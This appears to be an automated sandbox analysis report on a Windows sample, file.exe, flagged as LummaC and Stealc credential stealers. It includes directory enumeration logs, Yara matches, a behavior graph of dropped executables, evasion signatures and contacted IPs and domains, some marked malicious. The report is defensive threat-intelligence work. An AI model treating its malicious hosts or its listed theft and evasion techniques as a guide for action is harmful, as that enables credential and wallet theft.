Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Directory queried: number of queries: 1485
Yara detected Credential Stealer
Source: Yara match File source: 00000019.00000003.2391872376.000000000058F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1484876716.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1466859109.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1465600011.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1466833553.000000000164A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1484851469.000000000164B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1504210708.0000000001656000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.2364190573.0000000000586000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1501312367.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1453094063.0000000001650000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1452188016.000000000164A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1504057710.0000000001652000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.2391716864.0000000000589000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1465622921.0000000001651000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1452840812.0000000001650000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1452428283.0000000001650000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.2205537517.0000000000839000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.2385773868.0000000000586000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 2848, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 5744, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 457547ced2.exe PID: 7080, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7404, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 2848, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 51c532c207.exe PID: 5744, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 44.0.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.num.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.cc6c7213b6.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.cc6c7213b6.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000021.00000002.2284770052.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2404997119.0000000000D21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000000.2499635295.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.2345172015.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2217073879.0000000000D21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.2262420401.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2218307084.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2171127165.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000000.2499765616.000000000086E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2284691160.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2413359793.000000000158B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2287319406.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.2262351231.0000000000851000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cc6c7213b6.exe PID: 3160, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002860001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546043 Sample: file.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 92 thumbystriw.store 2->92 94 presticitpo.store 2->94 96 18 other IPs or domains 2->96 112 Suricata IDS alerts for network traffic 2->112 114 Found malware configuration 2->114 116 Antivirus detection for dropped file 2->116 118 17 other signatures 2->118 9 skotes.exe 4 27 2->9         started        14 file.exe 2 2->14         started        16 51c532c207.exe 2->16         started        18 5 other processes 2->18 signatures3 process4 dnsIp5 106 185.215.113.43, 49724, 49725, 49729 WHOLESALECONNECTIONSNL Portugal 9->106 76 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->76 dropped 78 C:\Users\user\AppData\...\457547ced2.exe, PE32 9->78 dropped 80 C:\Users\user\AppData\...\cc6c7213b6.exe, PE32 9->80 dropped 90 5 other malicious files 9->90 dropped 166 Creates multiple autostart registry keys 9->166 168 Hides threads from debuggers 9->168 170 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->170 20 51c532c207.exe 2 9->20         started        24 cc6c7213b6.exe 9->24         started        27 457547ced2.exe 9->27         started        29 num.exe 9->29         started        108 necklacedmny.store 188.114.96.3, 443, 49705, 49706 CLOUDFLARENETUS European Union 14->108 110 185.215.113.16, 49713, 49730, 49733 WHOLESALECONNECTIONSNL Portugal 14->110 82 C:\Users\...\XVTAV824L7GG4HFUZ6DTK345T.exe, PE32 14->82 dropped 84 C:\Users\user\...\OR17DXDL5BQ5H62NVD1DH.exe, PE32 14->84 dropped 172 Query firmware table information (likely to detect VMs) 14->172 174 Found many strings related to Crypto-Wallets (likely being stolen) 14->174 176 Tries to evade debugger and weak emulator (self modifying code) 14->176 186 2 other signatures 14->186 31 XVTAV824L7GG4HFUZ6DTK345T.exe 4 14->31         started        33 OR17DXDL5BQ5H62NVD1DH.exe 14->33         started        86 C:\...\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe, PE32 16->86 dropped 88 C:\Users\user\...\8W2ZCDPT7RPT387TG43.exe, PE32 16->88 dropped 178 Tries to harvest and steal ftp login credentials 16->178 180 Tries to harvest and steal browser information (history, passwords, etc) 16->180 182 Tries to steal Crypto Currency Wallets 16->182 35 QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe 16->35         started        184 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->184 37 firefox.exe 18->37         started        39 2 other processes 18->39 file6 signatures7 process8 dnsIp9 70 C:\Users\...\PK29CODQN9XEGX33RPZ17G59EIZ.exe, PE32 20->70 dropped 72 C:\Users\user\...\3TJFBHTBUJ4JRCME5DZP9K.exe, PE32 20->72 dropped 120 Antivirus detection for dropped file 20->120 122 Multi AV Scanner detection for dropped file 20->122 124 Query firmware table information (likely to detect VMs) 20->124 144 2 other signatures 20->144 41 3TJFBHTBUJ4JRCME5DZP9K.exe 20->41         started        44 PK29CODQN9XEGX33RPZ17G59EIZ.exe 20->44         started        98 185.215.113.206, 49738, 49750, 80 WHOLESALECONNECTIONSNL Portugal 24->98 126 Hides threads from debuggers 24->126 128 Tries to detect sandboxes / dynamic malware analysis system (registry check) 24->128 130 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 24->130 132 Binary is likely a compiled AutoIt script file 27->132 46 taskkill.exe 27->46         started        48 taskkill.exe 27->48         started        54 4 other processes 27->54 74 C:\Users\user\AppData\Local\...\skotes.exe, PE32 31->74 dropped 134 Detected unpacking (changes PE section rights) 31->134 136 Machine Learning detection for dropped file 31->136 138 Tries to evade debugger and weak emulator (self modifying code) 31->138 50 skotes.exe 31->50         started        140 Tries to detect virtualization through RDTSC time measurements 33->140 52 WerFault.exe 19 16 33->52         started        142 Tries to detect sandboxes and other dynamic analysis tools (window names) 35->142 100 youtube.com 142.250.185.78 GOOGLEUS United States 37->100 102 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 37->102 104 5 other IPs or domains 37->104 56 2 other processes 37->56 58 2 other processes 39->58 file10 signatures11 process12 signatures13 146 Machine Learning detection for dropped file 41->146 148 Modifies windows update settings 41->148 150 Disables Windows Defender Tamper protection 41->150 164 2 other signatures 41->164 152 Hides threads from debuggers 44->152 154 Tries to detect sandboxes / dynamic malware analysis system (registry check) 44->154 156 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 44->156 60 conhost.exe 46->60         started        62 conhost.exe 48->62         started        158 Antivirus detection for dropped file 50->158 160 Detected unpacking (changes PE section rights) 50->160 162 Tries to evade debugger and weak emulator (self modifying code) 50->162 64 conhost.exe 54->64         started        66 conhost.exe 54->66         started        68 conhost.exe 54->68         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.185.78
 youtube.com United States
15169 GOOGLEUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 prod.ads.prod.webservices.mozgcp.net United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
188.114.96.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
